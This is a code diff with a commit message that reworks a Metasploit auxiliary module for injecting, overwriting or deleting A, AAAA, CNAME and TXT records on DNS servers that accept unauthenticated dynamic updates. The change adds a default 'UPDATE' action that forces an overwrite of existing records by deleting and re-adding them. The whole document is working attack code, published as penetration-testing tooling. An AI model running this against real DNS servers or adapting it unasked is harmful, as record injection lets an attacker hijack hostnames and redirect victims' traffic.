make usage more intuitive, remove weird defaults

modules/auxiliary/admin/dns/dyn_dns_update.rb

@@ -22,54 +22,77 @@ class MetasploitModule < Msf::Auxiliary
         ],
         'License'        => MSF_LICENSE,
         'Actions'        => [
-          ['ADD',  {'Description' => 'Add a new record. [Default]'}],
+          ['UPDATE',  {'Description' => 'Add or update a record. (default)'}],
-          ['DEL',  {'Description' => 'Delete an existing record.'}]
+          ['ADD',     {'Description' => 'Add a new record. Fail if it already exists.'}],
+          ['DELETE',  {'Description' => 'Delete an existing record.'}]
         ],
-        'DefaultAction' => 'ADD'
+        'DefaultAction' => 'UPDATE'
     )
 
     register_options([
       OptString.new('DOMAIN', [true, 'The domain name']),
       OptAddress.new('RHOST', [true, 'The vulnerable DNS server IP address']),
       OptString.new('HOSTNAME', [true, 'The name record you want to inject']),
-      OptAddress.new('IP', [true, 'The IP you want to assign to the injected record']),
+      OptAddress.new('IP', [false, 'The IP you want to assign to the injected record']),
-      OptString.new('VALUE', [true, 'The string to be injected with TXT or CNAME record', 'w00t']),
+      OptString.new('VALUE', [false, 'The string to be injected with TXT or CNAME record']),
       OptEnum.new('TYPE',  [true, 'The record type you want to inject.', 'A', ['A', 'AAAA', 'CNAME', 'TXT']])
     ])
 
     deregister_options('RPORT')
   end
 
-  def update_record(type:, type_enum:, value:)
+  def record_action(type, type_enum, value, action)
     # Send the update to the zone's primary master.
     domain = datastore['DOMAIN']
     fqdn   = "#{datastore['HOSTNAME']}.#{domain}"
     resolver = Dnsruby::Resolver.new({:nameserver => datastore['RHOST']})
     update   = Dnsruby::Update.new(domain)
+    updated  = false
     case
-      when action.name == 'ADD'
+      when action == :add
-        # Prerequisite is that no A records exist for the name.
         update.absent("#{fqdn}.", type)
-        # Add two A records for the name.
         update.add("#{fqdn}.", type_enum, 86400, value)
         begin
           resolver.send_message(update)
-          print_good("The record '#{fqdn} => #{value}' has been added!")
+          print_good "The record '#{fqdn} => #{value}' has been added!"
+          updated = true
         rescue Dnsruby::YXRRSet, Dnsruby::NXRRSet, Dnsruby::NXDomain => e
           print_error "Cannot inject #{fqdn}. The DNS server may not be vulnerable or the hostname may exist as a static record."
           vprint_error "Update failed: #{e.message}"
         end
-      when action == 'DEL'
+      when action == :delete
         begin
           update.present(fqdn, type)
           update.delete(fqdn, type)
           resolver.send_message(update)
           print_good("The record '#{fqdn} => #{value}' has been deleted!")
+          updated = false
         rescue Dnsruby::YXRRSet, Dnsruby::NXRRSet => e
           print_error "Cannot delete #{fqdn}. DNS server is vulnerable or domain doesn't exist."
           vprint_error "Update failed: #{e.message}"
         end
     end
+    updated
+  end
+
+  def update_record(type:, type_enum:, value:, value_name:)
+    if value.nil? || value == ""
+      print_error "Record type #{type} requires the #{value_name} parameter to be specified"
+      return
+    end
+    case
+      when action.name == 'UPDATE'
+        if record_action(type, type_enum, value, :add) == false
+          print_good "Attempting to force an update to an existing record."
+          if record_action(type, type_enum, value, :delete) == true
+            record_action(type, type_enum, value, :add)
+          end
+        end
+      when action.name == 'ADD'
+        record_action(type, type_enum, value, :add)
+      when action.name == 'DELETE'
+        record_action(type, type_enum, value, :delete)
+    end
   end
 
   def run
@@ -79,13 +102,13 @@ class MetasploitModule < Msf::Auxiliary
       print_status("Sending DNS query payload...")
       case
       when datastore['TYPE'] == 'A'
-        update_record(type: 'A', type_enum: Dnsruby::Types.A, value: ip)
+        update_record(type: 'A', type_enum: Dnsruby::Types.A, value: ip, value_name: 'IP')
       when datastore['TYPE'] == 'AAAA'
-        update_record(type: 'AAAA', type_enum: Dnsruby::Types.AAAA, value: ip)
+        update_record(type: 'AAAA', type_enum: Dnsruby::Types.AAAA, value: ip, value_name: 'IP')
       when datastore['TYPE'] == 'CNAME'
-        update_record(type: 'CNAME', type_enum: Dnsruby::Types.CNAME, value: value)
+        update_record(type: 'CNAME', type_enum: Dnsruby::Types.CNAME, value: value, value_name: 'VALUE')
       when datastore['TYPE'] == 'TXT'
-        update_record(type: 'TXT', type_enum: Dnsruby::Types.TXT, value: value)
+        update_record(type: 'TXT', type_enum: Dnsruby::Types.TXT, value: value, value_name: 'VALUE')
       else
         print_error "Invalid Record Type!"
       end
@@ -97,5 +120,4 @@ class MetasploitModule < Msf::Auxiliary
       print_error("Invalid DNS reply, ensure you are connecting to a DNS server")
     end
   end
-
 end